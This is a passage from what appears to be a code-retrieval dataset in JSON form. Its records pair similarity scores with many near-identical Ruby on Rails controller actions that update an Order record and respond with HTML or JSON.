@order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bac3d48425e05c9ff06376bdf55f3232", "score": "0.6704673", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8dff72b36b209abaf270564ad1c83a97", "score": "0.6696546", "text": "def update\n @order = Order.find(params[:id])\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b38ab243a8d96a400edaf78edb5dc062", "score": "0.6688913", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b38ab243a8d96a400edaf78edb5dc062", "score": "0.6688913", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b38ab243a8d96a400edaf78edb5dc062", "score": "0.6688913", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f0f0b6f7573f0ac639022ad33166a9b", "score": "0.6687685", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(order_params)\n format.html { redirect_to @order, notice: \"Order was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: \"unprocessable_entry\" }\n end\n end\n end", "title": "" }, { "docid": "9a04cefe060fbcbce6b062d780d80f0d", "score": "0.66869104", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to [@client, @order],\n notice: \"#{t :updated, model: Order.model_name.human, scope: [:activerecord, :notices] }\"\n }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3e972678f663798c2912d7d5fd64945", "score": "0.66670406", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to buyer_orders_url, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b3c4c390153ecb2017e8ca5be56a8a0", "score": "0.6661848", "text": "def update(options={})\n self.attributes = put(\"/orders/#{id}\", :order => options)[\"order\"]\n end", "title": "" }, { "docid": "c3e599c6b4a724bb40277c58a5d3664f", "score": "0.6659513", "text": "def update\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to [:admin, @order], notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b79f2bf690baa92dc7e6e5d452c8de2c", "score": "0.6655092", "text": "def update\n respond_to do |format|\n if @order.update(order_edit_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0d651f5146e93065a0e83fb95a42b22", "score": "0.6652046", "text": "def update\n @order = Order.find(params[:id])\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: t('controllers.update_success') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8efec9710de07fb9b3885d4a83365c87", "score": "0.66518533", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to order_path(@order), notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7868882aac23a4ad7cd6e394165124d4", "score": "0.66491693", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7868882aac23a4ad7cd6e394165124d4", "score": "0.66491693", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7868882aac23a4ad7cd6e394165124d4", "score": "0.66491693", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "86a0f39c12004755542958e92dde746b", "score": "0.6644888", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.json {\n render json: {status:0, msg:\"success\"}\n }\n else\n #format.json { render json: @order.errors, status: :unprocessable_entity }\n format.json {\n render json: {status:-1, msg:\"fail\"}\n }\n end\n end\n end", "title": "" }, { "docid": "56b32a0f09f77c1ab4f9758b33d66dc5", "score": "0.66429985", "text": "def update\r\n @order = Order.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @order.update_attributes(params[:order])\r\n format.html { redirect_to @order, :notice => 'Order was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.json { render :json => @order.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ba73225039e76585ce77c7fe660bbbc", "score": "0.66415966", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fdbd818320980210db8f4ffe63d8275", "score": "0.6630326", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path(:status => 'P'), notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b3dae235ec68d3bc8b09c1e74e06372", "score": "0.6622877", "text": "def update\n @order = Order.find(params[:id])\n enforce_update_permission(@order)\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b85e76b59387b4fc2fe40e2d507fd6b1", "score": "0.6614195", "text": "def update\n respond_to do |format|\n @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { redirect_to orders_path, status: :ok, location: @order }\n end\n end", "title": "" }, { "docid": "bcf808c3373c32b7e16fe9bbe11bc9af", "score": "0.6610328", "text": "def update\n extra_parameters = {old_name: @order.name}\n respond_to do |format|\n if @order.update(order_params)\n track_actions(@order, extra_parameters)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "01c9984e97324be1780f3a9a8efa5698", "score": "0.66101086", "text": "def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to action: 'show', notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9cebc40ed413e9bf48052a0e9cc9cd1d", "score": "0.66074014", "text": "def update\n @order = current_user.orders.find(params[:id])\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35cd7a03ebd25dfa2a7b02e415eee659", "score": "0.6595129", "text": "def update\n @order = Order.find(order_params[:id])\n authorize @order\n\n #authorize @order\n if @order.update(order_params)\n render json: { status: :ok, order: @order }\n else\n render json: { errors: @order.errors, status: :unprocessable_entity }\n end\n end", "title": "" }, { "docid": "0f61a2b15059dc89217cadea6525addf", "score": "0.65878993", "text": "def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(order_params)\n format.html { redirect_to admin_order_path(@order), notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
22120f6859c6afeee15b4fda7aae5aff
Delete Auto Template By Id
